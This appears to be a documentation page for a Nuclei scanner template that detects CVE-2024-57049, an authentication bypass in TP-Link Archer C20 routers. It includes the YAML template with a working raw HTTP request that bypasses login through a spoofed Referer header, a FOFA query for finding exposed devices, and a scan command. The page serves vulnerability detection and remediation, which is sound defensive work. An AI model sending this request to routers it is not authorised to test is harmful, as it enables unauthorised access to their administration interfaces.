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TP-Link Archer C20 - Authentication Bypass

ID: CVE-2024-57049

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,tp-link,auth-bypass,archer-c20

Description

Section titled “Description”

A vulnerability in the TP-Link Archer C20 router with firmware version V6.6_230412 and earlier permits unauthorized individuals to bypass authentication on interfaces under the /cgi directory. When adding a Referer header with value “http://tplinkwifi.net” to requests, the router will recognize the request as passing authentication, allowing access to protected administration interfaces.

YAML Source

Section titled “YAML Source”
id: CVE-2024-57049


info:
  name: TP-Link Archer C20 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in the TP-Link Archer C20 router with firmware version V6.6_230412 and earlier permits unauthorized individuals to bypass authentication on interfaces under the /cgi directory. When adding a Referer header with value "http://tplinkwifi.net" to requests, the router will recognize the request as passing authentication, allowing access to protected administration interfaces.
  remediation: |
    Update the router firmware to the latest version. Implement network segmentation to restrict access to the router's management interface.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/TP-Link/archer%20c20/ACL%20bypass%20Vulnerability%20in%20TP-Link%20archer%20c20.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57049
    - https://github.com/advisories/GHSA-qr32-fcm4-m5h9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-57049
    cwe-id: CWE-287
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="Archer C20"
  tags: cve,cve2024,tp-link,auth-bypass,archer-c20


http:
  - raw:
      - |
        POST /cgi/getGDPRParm HTTP/1.1
        Host: {{Hostname}}
        Referer: http://tplinkwifi.net


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "$.ret=0;"
          - "var "
        condition: and


      - type: word
        part: content_type
        words:
          - "application/javascript"


      - type: status
        status:
          - 200
# digest: 490a0046304402206c2a7aafbf3fd8962754a8ed8b2f656c9ed7167bb42755b1e669d96adb9d0b3502206e2f26c3697acbd830b80894976b744861e8622878a4afec4e2a56922488e51a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-57049.yaml"

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